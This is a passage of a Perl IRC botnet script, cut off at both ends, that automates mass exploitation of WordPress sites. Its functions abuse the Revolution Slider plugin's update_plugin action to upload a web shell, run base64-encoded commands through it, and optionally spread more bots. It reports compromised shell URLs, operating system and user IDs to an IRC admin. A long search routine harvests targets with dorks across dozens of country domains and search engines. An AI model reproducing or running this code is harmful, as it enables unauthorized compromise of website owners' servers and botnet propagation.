6Xploit success: " . $status->status_line . ""); my $target = &get_content($shell."?bajak"); if ($target =~ /Touched By sHoOcK/i) { &os($shell,$chan,$dork,$engine,$logo,$nick,$url); } if ($spread == 1) { &get_content($pbots,2); } } } #elsif ($exploit->decoded_content =~ /Wrong request/) {&msg("$chan","$logo 1$engine 14Payload failed: Not vulnerable ");exit;} #elsif ($exploit->decoded_content =~ m/0$/) {&msg("$chan","$logo 1$engine 14Payload failed: Plugin unavailable ");exit;} #else {$exploit->decoded_content =~ /<\/b>(.*?) /; &msg("$chan","$logo 1$engine 14Payload failed: $1 ");exit;} }exit; } } sub upload4() { my $url = $_[0]; my $dork = $_[1]; my $chan = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my $nick = $_[5]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $vuln = "http://".$url."wp-admin/admin-ajax.php"; my $manual = "http://".$url."wp-content/themes/nevada/revslider/temp/update_extract/revslider.zip;unzip revslider.zip"; my $shell = "http://".$url."wp-content/themes/nevada/revslider/temp/update_extract/revslider/3x.php"; my $pbots = "http://".$url."wp-content/themes/nevada/revslider/temp/update_extract/revslider/3x.php"; my $uan = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $uan->timeout(10); $uan->agent($useragent); my $status = $uan->get("$vuln"); my $exploit = $uan->post("$vuln", Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update_file"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { &msg("$chan","$logo1 $engine 14Payload successfully executed "); my $unzip = &get_content($manual); sub rndstr{ join'', @_[ map{ rand @_ } 1 .. shift ] } my $rndstr = rndstr(8, 1..9, 'a'..'z'); my $cmd1 = encode_base64("echo $rndstr"); my $status = $uan->get("$shell?cmd=$cmd1"); if ($status->decoded_content =~ /system\(\) has been disabled/) { # &msg("$chan","$logo 1$engine 14Xploit failed: system() has been disabled");exit; }elsif ($status->decoded_content !~ /$rndstr/) { # &msg("$chan","$logo 1$engine 6Xploit success: " . $status->status_line . ""); my $target = &get_content($shell."?bajak"); if ($target =~ /Touched By sHoOcK/i) { &os($shell,$chan,$dork,$engine,$logo,$nick,$url); } if ($spread == 1) { &get_content($pbots,2); } } } #elsif ($exploit->decoded_content =~ /Wrong request/) {&msg("$chan","$logo 1$engine 14Payload failed: Not vulnerable ");exit;} #elsif ($exploit->decoded_content =~ m/0$/) {&msg("$chan","$logo 1$engine 14Payload failed: Plugin unavailable ");exit;} #else {$exploit->decoded_content =~ /<\/b>(.*?) /; &msg("$chan","$logo 1$engine 14Payload failed: $1 ");exit;} }exit; } } sub upload5() { my $url = $_[0]; my $dork = $_[1]; my $chan = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my $nick = $_[5]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $vuln = "http://".$url."wp-admin/admin-ajax.php"; my $manual = "http://".$url."wp-content/themes/rise/framework/plugins/revslider/temp/update_extract/revslider.zip;unzip revslider.zip"; my $shell = "http://".$url."wp-content/themes/rise/framework/plugins/revslider/temp/update_extract/revslider/3x.php"; my $pbots = "http://".$url."wp-content/themes/rise/framework/plugins/revslider/temp/update_extract/revslider/3x.php"; my $uan = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $uan->timeout(10); $uan->agent($useragent); my $status = $uan->get("$vuln"); my $exploit = $uan->post("$vuln", Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update_file"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { &msg("$chan","$logo1 $engine 14Payload successfully executed "); my $unzip = &get_content($manual); sub rndstr{ join'', @_[ map{ rand @_ } 1 .. shift ] } my $rndstr = rndstr(8, 1..9, 'a'..'z'); my $cmd1 = encode_base64("echo $rndstr"); my $status = $uan->get("$shell?cmd=$cmd1"); if ($status->decoded_content =~ /system\(\) has been disabled/) { # &msg("$chan","$logo 1$engine 14Xploit failed: system() has been disabled");exit; }elsif ($status->decoded_content !~ /$rndstr/) { # &msg("$chan","$logo 1$engine 6Xploit success: " . $status->status_line . ""); my $target = &get_content($shell."?bajak"); if ($target =~ /Touched By sHoOcK/i) { &os($shell,$chan,$dork,$engine,$logo,$nick,$url); } if ($spread == 1) { &get_content($pbots,2); } } } #elsif ($exploit->decoded_content =~ /Wrong request/) {&msg("$chan","$logo 1$engine 14Payload failed: Not vulnerable ");exit;} #elsif ($exploit->decoded_content =~ m/0$/) {&msg("$chan","$logo 1$engine 14Payload failed: Plugin unavailable ");exit;} #else {$exploit->decoded_content =~ /<\/b>(.*?) /; &msg("$chan","$logo 1$engine 14Payload failed: $1 ");exit;} }exit; } } sub os() { my $url = $_[0]; my $chan = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my $nick = $_[5]; my $url2 = $_[6]; my @print; my $target = &get_content($url."?bajak"); if ($target =~ /Touched By sHoOcK/) { my $target = &get_content($url."?cmd=".$c99.$botxx,7); my $target = &get_content($url."bot.php"); my $target = &get_content($url."?cmd="); my $target = &get_content($url."?hta"); my $safe = ""; my $os = ""; my $uid = ""; if ($target =~ m/color=#3366FF>(.*?)<\/b><\/font>/){$safe=$1;} if ($target =~ m/color=lime>(.*?)<\/font>/){$os=$1;} if ($target =~ m/uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$logo 1$engine 4Shell $safe 3$os"); if ($nick eq $admin) { &msg("$admin","$logo(7@2$engine14) 4Shell $safe 12".$url." 3$os 7Pengguna=$uid 14Dork: $dork"); &msg("sHoOcK","$logo(7@2$engine14) 4Shell $safe 12".$url." 3$os 7Pengguna=$uid 14Dork: $dork"); } else { &msg("$nick","$logo(7@2$engine14) 4Shell $safe 12".$url." 3$os 7Pengguna=$uid 14Dork: $dork"); &msg("$admin","$logo(7@2$engine14) 4Shell $safe 12".$url." 3$os 7Pengguna=$uid 14Dork: $dork 14by: $nick"); } } my $c99shell = "http://".$url2."wp-admin/default.php"; my $cekc99 = &get_content($c99shell,7); if ($cekc99 =~ /Touched By sHoOcK/) { if ($pubscan == 0) { &msg("$admin","$logo(7@2$engine14) 4<9=4>4 c99 4<9=4>12 $c99shell14 "); &msg("$chan","$logo 1$engine 4<9=4>4 c99 4<9=4>12 $c99shell14 "); } } if ($target =~ /Touched By sHoOcK/) { &msg("$admin","$logo(7@2$engine14) 4Shell $safe 12".$url." 3$os 7Pengguna=$uid 14Dork: $dork"); } return @print; } ######################################### Searching site... sub search_engine() { my (@total,@clean); my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $logo = $_[4]; if ($engine eq "JacKAE") { my @jackae = &jack1($dork."+site:ae"); push(@total,@jackae); } if ($engine eq "JacKAR") { my @jackar = &jack2($dork."+site:ar"); push(@total,@jackar); } if ($engine eq "JacKAT") { my @jackat = &jack3($dork."+site:at"); push(@total,@jackat); } if ($engine eq "JacKAU") { my @jackau = &jack4($dork."+site:au"); push(@total,@jackau); } if ($engine eq "JacKBR") { my @jackbr = &jack5($dork."+site:br"); push(@total,@jackbr); } if ($engine eq "JacKCA") { my @jackca = &jack6($dork."+site:ca"); push(@total,@jackca); } if ($engine eq "JacKCL") { my @jackcl = &jack7($dork."+site:cl"); push(@total,@jackcl); } if ($engine eq "JacKCN") { my @jackcn = &jack8($dork."+site:cn"); push(@total,@jackcn); } if ($engine eq "JacKCoM") { my @jackcom = &jack9($dork."+site:com"); push(@total,@jackcom); } if ($engine eq "JacKCZ") { my @jackcz = &jack10($dork."+site:cz"); push(@total,@jackcz); } if ($engine eq "JacKDE") { my @jackde = &jack1($dork."+site:de"); push(@total,@jackde); } if ($engine eq "JacKDK") { my @jackdk = &jack2($dork."+site:dk"); push(@total,@jackdk); } if ($engine eq "JacKES") { my @jackes = &jack3($dork."+site:es"); push(@total,@jackes); } if ($engine eq "JacKEU") { my @jackeu = &jack4($dork."+site:eu"); push(@total,@jackeu); } if ($engine eq "JacKFR") { my @jackfr = &jack5($dork."+site:fr"); push(@total,@jackfr); } if ($engine eq "JacKHU") { my @jackhu = &jack6($dork."+site:hu"); push(@total,@jackhu); } if ($engine eq "JacKID") { my @jackid = &jack7($dork."+site:id"); push(@total,@jackid); } if ($engine eq "JacKIL") { my @jackil = &jack8($dork."+site:il"); push(@total,@jackil); } if ($engine eq "JacKIN") { my @jackin = &jack9($dork."+site:in"); push(@total,@jackin); } if ($engine eq "JacKInfO") { my @jackinfo = &jack10($dork."+site:info"); push(@total,@jackinfo); } if ($engine eq "JacKIR") { my @jackir = &jack1($dork."+site:ir"); push(@total,@jackir); } if ($engine eq "JacKIT") { my @jackit = &jack2($dork."+site:it"); push(@total,@jackit); } if ($engine eq "JacKJP") { my @jackjp = &jack3($dork."+site:jp"); push(@total,@jackjp); } if ($engine eq "JacKKR") { my @jackkr = &jack4($dork."+site:kr"); push(@total,@jackkr); } if ($engine eq "JacKMX") { my @jackmx = &jack5($dork."+site:mx"); push(@total,@jackmx); } if ($engine eq "JacKMY") { my @jackmy = &jack6($dork."+site:my"); push(@total,@jackmy); } if ($engine eq "JacKNeT") { my @jacknet = &jack7($dork."+site:net"); push(@total,@jacknet); } if ($engine eq "JacKNL") { my @jacknl = &jack8($dork."+site:nl"); push(@total,@jacknl); } if ($engine eq "JacKOrG") { my @jackorg = &jack9($dork."+site:org"); push(@total,@jackorg); } if ($engine eq "JacKPH") { my @jackph = &jack10($dork."+site:ph"); push(@total,@jackph); } if ($engine eq "JacKPL") { my @jackpl = &jack1($dork."+site:pl"); push(@total,@jackpl); } if ($engine eq "JacKRO") { my @jackro = &jack2($dork."+site:ro"); push(@total,@jackro); } if ($engine eq "JacKRU") { my @jackru = &jack3($dork."+site:ru"); push(@total,@jackru); } if ($engine eq "JacKTH") { my @jackth = &jack4($dork."+site:th"); push(@total,@jackth); } if ($engine eq "JacKUA") { my @jackua = &jack5($dork."+site:ua"); push(@total,@jackua); } if ($engine eq "JacKUK") { my @jackuk = &jack6($dork."+site:uk"); push(@total,@jackuk); } if ($engine eq "JacKUS") { my @jackus = &jack7($dork."+site:us"); push(@total,@jackus); } if ($engine eq "JacKSI") { my @jacksi = &jack8($dork."+site:si"); push(@total,@jacksi); } if ($engine eq "JacKBE") { my @jackbe = &jack9($dork."+site:be"); push(@total,@jackbe); } if ($engine eq "JacKBIZ") { my @jackbiz = &jack10($dork."+site:biz"); push(@total,@jackbiz); } if ($engine eq "JacKXXX") { my @jackxxx = &jack1($dork."+site:xxx"); push(@total,@jackxxx); } if ($engine eq "JacKTEL") { my @jacktel = &jack2($dork."+site:tel"); push(@total,@jacktel); } if ($engine eq "JacKTV") { my @jacktv = &jack3($dork."+site:tv"); push(@total,@jacktv); } if ($engine eq "JacKCC") { my @jackcc = &jack4($dork."+site:cc"); push(@total,@jackcc); } if ($engine eq "JacKMIL") { my @jackmil = &jack5($dork."+site:mil"); push(@total,@jackmil); } if ($engine eq "JacKASIA") { my @jackasia = &jack6($dork."+site:asia"); push(@total,@jackasia); } if ($engine eq "JacKNAME") { my @jackname = &jack7($dork."+site:name"); push(@total,@jackname); } if ($engine eq "JacKPRO") { my @jackpro = &jack8($dork."+site:pro"); push(@total,@jackpro); } if ($engine eq "JacKTRAVEL") { my @jacktravel = &jack9($dork."+site:travel"); push(@total,@jacktravel); } if ($engine eq "JacKJOBS") { my @jackjobs = &jack10($dork."+site:jobs"); push(@total,@jackjobs); } if ($engine eq "JacKMOBI") { my @jackmobi = &jack1($dork."+site:mobi"); push(@total,@jackmobi); } if ($engine eq "JacKAERO") { my @jackaero = &jack2($dork."+site:aero"); push(@total,@jackaero); } if ($engine eq "JacKCAT") { my @jackcat = &jack3($dork."+site:cat"); push(@total,@jackcat); } if ($engine eq "JacKCOOP") { my @jackcoop = &jack4($dork."+site:coop"); push(@total,@jackcoop); } if ($engine eq "JacKEDU") { my @jackedu = &jack5($dork."+site:edu"); push(@total,@jackedu); } if ($engine eq "JacKGOV") { my @jackgov = &jack6($dork."+site:gov"); push(@total,@jackgov); } if ($engine eq "JacKAS") { my @jackas = &jack7($dork."+site:as"); push(@total,@jackas); } if ($engine eq "JacKAI") { my @jackai = &jack8($dork."+site:ai"); push(@total,@jackai); } if ($engine eq "JacKAG") { my @jackag = &jack9($dork."+site:ag"); push(@total,@jackag); } if ($engine eq "JacKAZ") { my @jackaz = &jack10($dork."+site:az"); push(@total,@jackaz); } if ($engine eq "JacKBH") { my @jackbh = &jack3($dork."+site:bh"); push(@total,@jackbh); } if ($engine eq "JacKBD") { my @jackbd = &jack4($dork."+site:bd"); push(@total,@jackbd); } if ($engine eq "JacKBZ") { my @jackbz = &jack5($dork."+site:bz"); push(@total,@jackbz); } if ($engine eq "JacKBO") { my @jackbo = &jack6($dork."+site:bo"); push(@total,@jackbo); } if ($engine eq "JacKBA") { my @jackba = &jack7($dork."+site:ba"); push(@total,@jackba); } if ($engine eq "JacKBW") { my @jackbw = &jack8($dork."+site:bw"); push(@total,@jackbw); } if ($engine eq "JacKVG") { my @jackvg = &jack9($dork."+site:vg"); push(@total,@jackvg); } if ($engine eq "JacKBG") { my @jackbg = &jack10($dork."+site:bg"); push(@total,@jackbg); } if ($engine eq "JacKBI") { my @jackbi = &jack1($dork."+site:bi"); push(@total,@jackbi); } if ($engine eq "JacKCO") { my @jackco = &jack2($dork."+site:co"); push(@total,@jackco); } if ($engine eq "JacKCD") { my @jackcd = &jack3($dork."+site:cd"); push(@total,@jackcd); } if ($engine eq "JacKCG") { my @jackcg = &jack4($dork."+site:cg"); push(@total,@jackcg); } if ($engine eq "JacKCK") { my @jackck = &jack5($dork."+site:ck"); push(@total,@jackck); } if ($engine eq "JacKCR") { my @jackcr = &jack6($dork."+site:cr"); push(@total,@jackcr); } if ($engine eq "JacKHR") { my @jackhr = &jack7($dork."+site:hr"); push(@total,@jackhr); } if ($engine eq "JacKCU") { my @jackcu = &jack8($dork."+site:cu"); push(@total,@jackcu); } if ($engine eq "JacKCI") { my @jackci = &jack9($dork."+site:ci"); push(@total,@jackci); } if ($engine eq "JacKDJ") { my @jackdj = &jack10($dork."+site:dj"); push(@total,@jackdj); } if ($engine eq "JacKDM") { my @jackdm = &jack1($dork."+site:dm"); push(@total,@jackdm); } if ($engine eq "JacKDO") { my @jackdo = &jack2($dork."+site:do"); push(@total,@jackdo); } if ($engine eq "JacKEC") { my @jackec = &jack3($dork."+site:ec"); push(@total,@jackec); } if ($engine eq "JacKEG") { my @jackeg = &jack4($dork."+site:eg"); push(@total,@jackeg); } if ($engine eq "JacKSV") { my @jacksv = &jack5($dork."+site:sv"); push(@total,@jacksv); } if ($engine eq "JacKEE") { my @jackee = &jack6($dork."+site:ee"); push(@total,@jackee); } if ($engine eq "JacKET") { my @jacket = &jack7($dork."+site:et"); push(@total,@jacket); } if ($engine eq "JacKFJ") { my @jackfj = &jack8($dork."+site:fj"); push(@total,@jackfj); } if ($engine eq "JacKFI") { my @jackfi = &jack9($dork."+site:fi"); push(@total,@jackfi); } if ($engine eq "JacKGM") { my @jackgm = &jack10($dork."+site:gm"); push(@total,@jackgm); } if ($engine eq "JacKGI") { my @jackgi = &jack1($dork."+site:gi"); push(@total,@jackgi); } if ($engine eq "JacKGR") { my @jackgr = &jack2($dork."+site:gr"); push(@total,@jackgr); } if ($engine eq "JacKGL") { my @jackgl = &jack3($dork."+site:gl"); push(@total,@jackgl); } if ($engine eq "JacKGT") { my @jackgt = &jack4($dork."+site:gt"); push(@total,@jackgt); } if ($engine eq "JacKGG") { my @jackgg = &jack5($dork."+site:gg"); push(@total,@jackgg); } if ($engine eq "JacKHT") { my @jackht = &jack6($dork."+site:ht"); push(@total,@jackht); } if ($engine eq "JacKHN") { my @jackhn = &jack7($dork."+site:hn"); push(@total,@jackhn); } if ($engine eq "JacKHK") { my @jackhk = &jack8($dork."+site:hk"); push(@total,@jackhk); } if ($engine eq "JacKIS") { my @jackis = &jack9($dork."+site:is"); push(@total,@jackis); } if ($engine eq "JacKIE") { my @jackie = &jack10($dork."+site:ie"); push(@total,@jackie); } if ($engine eq "JacKIM") { my @jackim = &jack1($dork."+site:im"); push(@total,@jackim); } if ($engine eq "JacKJE") { my @jackje = &jack2($dork."+site:je"); push(@total,@jackje); } if ($engine eq "JacKJO") { my @jackjo = &jack3($dork."+site:jo"); push(@total,@jackjo); } if ($engine eq "JacKKZ") { my @jackkz = &jack4($dork."+site:kz"); push(@total,@jackkz); } if ($engine eq "JacKKE") { my @jackke = &jack5($dork."+site:ke"); push(@total,@jackke); } if ($engine eq "JacKKG") { my @jackkg = &jack6($dork."+site:kg"); push(@total,@jackkg); } if ($engine eq "JacKLV") { my @jacklv = &jack7($dork."+site:lv"); push(@total,@jacklv); } if ($engine eq "JacKLS") { my @jackls = &jack8($dork."+site:ls"); push(@total,@jackls); } if ($engine eq "JacKLY") { my @jackly = &jack9($dork."+site:ly"); push(@total,@jackly); } if ($engine eq "JacKLI") { my @jackli = &jack10($dork."+site:li"); push(@total,@jackli); } if ($engine eq "JacKLT") { my @jacklt = &jack1($dork."+site:lt"); push(@total,@jacklt); } if ($engine eq "JacKLU") { my @jacklu = &jack2($dork."+site:lu"); push(@total,@jacklu); } if ($engine eq "JacKMW") { my @jackmw = &jack3($dork."+site:mw"); push(@total,@jackmw); } if ($engine eq "JacKMT") { my @jackmt = &jack4($dork."+site:mt"); push(@total,@jackmt); } if ($engine eq "JacKMU") { my @jackmu = &jack5($dork."+site:mu"); push(@total,@jackmu); } if ($engine eq "JacKFM") { my @jackfm = &jack6($dork."+site:fm"); push(@total,@jackfm); } if ($engine eq "JacKMN") { my @jackmn = &jack7($dork."+site:mn"); push(@total,@jackmn); } if ($engine eq "JacKMS") { my @jackms = &jack8($dork."+site:ms"); push(@total,@jackms); } if ($engine eq "JacKMA") { my @jackma = &jack9($dork."+site:ma"); push(@total,@jackma); } if ($engine eq "JacKNA") { my @jackna = &jack10($dork."+site:na"); push(@total,@jackna); } if ($engine eq "JacKNP") { my @jacknp = &jack1($dork."+site:np"); push(@total,@jacknp); } if ($engine eq "JacKNZ") { my @jacknz = &jack2($dork."+site:nz"); push(@total,@jacknz); } if ($engine eq "JacKNI") { my @jackni = &jack3($dork."+site:ni"); push(@total,@jackni); } if ($engine eq "JacKNF") { my @jacknf = &jack4($dork."+site:nf"); push(@total,@jacknf); } if ($engine eq "JacKNO") { my @jackno = &jack5($dork."+site:no"); push(@total,@jackno); } if ($engine eq "JacKOM") { my @jackom = &jack6($dork."+site:om"); push(@total,@jackom); } if ($engine eq "JacKPK") { my @jackpk = &jack7($dork."+site:pk"); push(@total,@jackpk); } if ($engine eq "JacKPA") { my @jackpa = &jack8($dork."+site:pa"); push(@total,@jackpa); } if ($engine eq "JacKPY") { my @jackpy = &jack9($dork."+site:py"); push(@total,@jackpy); } if ($engine eq "JacKPE") { my @jackpe = &jack10($dork."+site:pe"); push(@total,@jackpe); } if ($engine eq "JacKPN") { my @jackpn = &jack1($dork."+site:pn"); push(@total,@jackpn); } if ($engine eq "JacKPT") { my @jackpt = &jack2($dork."+site:pt"); push(@total,@jackpt); } if ($engine eq "JacKPR") { my @jackpr = &jack3($dork."+site:pr"); push(@total,@jackpr); } if ($engine eq "JacKQA") { my @jackqa = &jack4($dork."+site:qa"); push(@total,@jackqa); } if ($engine eq "JacKRW") { my @jackrw = &jack5($dork."+site:rw"); push(@total,@jackrw); } if ($engine eq "JacKSH") { my @jacksh = &jack6($dork."+site:sh"); push(@total,@jacksh); } if ($engine eq "JacKSM") { my @jacksm = &jack7($dork."+site:sm"); push(@total,@jacksm); } if ($engine eq "JacKSA") { my @jacksa = &jack8($dork."+site:sa"); push(@total,@jacksa); } if ($engine eq "JacKSN") { my @jacksn = &jack9($dork."+site:sn"); push(@total,@jacksn); } if ($engine eq "JacKSC") { my @jacksc = &jack10($dork."+site:sc"); push(@total,@jacksc); } if ($engine eq "JacKSG") { my @jacksg = &jack1($dork."+site:sg"); push(@total,@jacksg); } if ($engine eq "JacKSK") { my @jacksk = &jack2($dork."+site:sk"); push(@total,@jacksk); } if ($engine eq "JacKZA") { my @jackza = &jack3($dork."+site:za"); push(@total,@jackza); } if ($engine eq "JacKLK") { my @jacklk = &jack4($dork."+site:lk"); push(@total,@jacklk); } if ($engine eq "JacKVC") { my @jackvc = &jack5($dork."+site:vc"); push(@total,@jackvc); } if ($engine eq "JacKSE") { my @jackse = &jack6($dork."+site:se"); push(@total,@jackse); } if ($engine eq "JacKCH") { my @jackch = &jack7($dork."+site:ch"); push(@total,@jackch); } if ($engine eq "JacKTW") { my @jacktw = &jack8($dork."+site:tw"); push(@total,@jacktw); } if ($engine eq "JacKTJ") { my @jacktj = &jack9($dork."+site:tj"); push(@total,@jacktj); } if ($engine eq "JacKBS") { my @jackbs = &jack10($dork."+site:bs"); push(@total,@jackbs); } if ($engine eq "JacKTO") { my @jackto = &jack1($dork."+site:to"); push(@total,@jackto); } if ($engine eq "JacKTT") { my @jacktt = &jack2($dork."+site:tt"); push(@total,@jacktt); } if ($engine eq "JacKTR") { my @jacktr = &jack3($dork."+site:tr"); push(@total,@jacktr); } if ($engine eq "JacKTM") { my @jacktm = &jack4($dork."+site:tm"); push(@total,@jacktm); } if ($engine eq "JacKVI") { my @jackvi = &jack5($dork."+site:vi"); push(@total,@jackvi); } if ($engine eq "JacKUG") { my @jackug = &jack6($dork."+site:ug"); push(@total,@jackug); } if ($engine eq "JacKUY") { my @jackuy = &jack7($dork."+site:uy"); push(@total,@jackuy); } if ($engine eq "JacKUZ") { my @jackuz = &jack8($dork."+site:uz"); push(@total,@jackuz); } if ($engine eq "JacKVE") { my @jackve = &jack9($dork."+site:ve"); push(@total,@jackve); } if ($engine eq "JacKVN") { my @jackvn = &jack10($dork."+site:vn"); push(@total,@jackvn); } if ($engine eq "JacKZM") { my @jackzm = &jack1($dork."+site:zm"); push(@total,@jackzm); } if ($engine eq "JacKMUSEUM") { my @jackmuseum = &jack2($dork."+site:museum"); push(@total,@jackmuseum); } if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); } if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); } if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); } if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); } if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); } if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); } if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); } if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); } if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); } if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); } if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); } if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); } if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); } if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); } if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); } if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); } if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); } if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); } if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); } if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); } if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); } if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); } if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); } if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); } if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); } if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); } if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); } if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); } if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); } if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); } if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); } if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); } if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); } if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); } if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); } if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); } if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); } if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); } if ($engine eq "GooGLeCZ") { my @googleCZ = googleTW($dork); push(@total,@googleTW); } if ($engine eq "GooGLeEU") { my @googleEU = googleEU($dork); push(@total,@googleEU); } if ($engine eq "GooGLeHU") { my @googleHU = googleHU($dork); push(@total,@googleHU); } if ($engine eq "GooGLeID") { my @googleID = googleID($dork); push(@total,@googleID); } if ($engine eq "GooGLePH") { my @googlePH = googlePH($dork); push(@total,@googlePH); } if ($engine eq "GooGLeSI") { my @googleSI = googleSI($dork); push(@total,@googleSI); } if ($engine eq "GooGLeCAT") { my @googleCAT = googleCAT($dork); push(@total,@googleCAT); } if ($engine eq "GooGLeBO") { my @googleBO = googleBO($dork); push(@total,@googleBO); } if ($engine eq "GooGLeBA") { my @googleBA = googleBA($dork); push(@total,@googleBA); } if ($engine eq "GooGLeCR") { my @googleCR = googleCR($dork); push(@total,@googleCR); } if ($engine eq "GooGLeHR") { my @googleHR = googleHR($dork); push(@total,@googleHR); } if ($engine eq "GooGLeEC") { my @googleEC = googleEC($dork); push(@total,@googleEC); } if ($engine eq "GooGLeFI") { my @googleFI = googleFI($dork); push(@total,@googleFI); } if ($engine eq "GooGLeHN") { my @googleHN = googleHN($dork); push(@total,@googleHN); } if ($engine eq "GooGLeHK") { my @googleHK = googleHK($dork); push(@total,@googleHK); } if ($engine eq "GooGLeIS") { my @googleIS = googleIS($dork); push(@total,@googleIS); } if ($engine eq "GooGLeKZ") { my @googleKZ = googleKZ($dork); push(@total,@googleKZ); } if ($engine eq "GooGLeKE") { my @googleKE = googleKE($dork); push(@total,@googleKE); } if ($engine eq "GooGLeLV") { my @googleLV = googleLV($dork); push(@total,@googleLV); } if ($engine eq "GooGLeLT") { my @googleLT = googleLT($dork); push(@total,@googleLT); } if ($engine eq "GooGLeLU") { my @googleLU = googleLU($dork); push(@total,@googleLU); } if ($engine eq "GooGLeMW") { my @googleMW = googleMW($dork); push(@total,@googleMW); } if ($engine eq "GooGLeMT") { my @googleMT = googleMT($dork); push(@total,@googleMT); } if ($engine eq "GooGLeMA") { my @googleMA = googleMA($dork); push(@total,@googleMA); } if ($engine eq "GooGLeNP") { my @googleNP = googleNP($dork); push(@total,@googleNP); } if ($engine eq "GooGLePK") { my @googlePK = googlePK($dork); push(@total,@googlePK); } if ($engine eq "GooGLePR") { my @googlePR = googlePR($dork); push(@total,@googlePR); } if ($engine eq "GooGLeSA") { my @googleSA = googleSA($dork); push(@total,@googleSA); } if ($engine eq "GooGLeSN") { my @googleSN = googleSN($dork); push(@total,@googleSN); } if ($engine eq "GooGLeSG") { my @googleSG = googleSG($dork); push(@total,@googleSG); } if ($engine eq "GooGLeSK") { my @googleSK = googleSK($dork); push(@total,@googleSK); } if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); } if ($engine eq "GooGLeVE") { my @googleVE = googleVE($dork); push(@total,@googleVE); } if ($engine eq "GooGLeVN") { my @googleVN = googleVN($dork); push(@total,@googleVN); } if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); } if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); } if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); } if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); } if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); } if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); } if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); } if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); } if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); } if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); } if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); } if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); } if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); } if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); } if ($engine eq "Yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); } if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); } if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); } if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); } if ($engine eq "Clix") { my @clix = 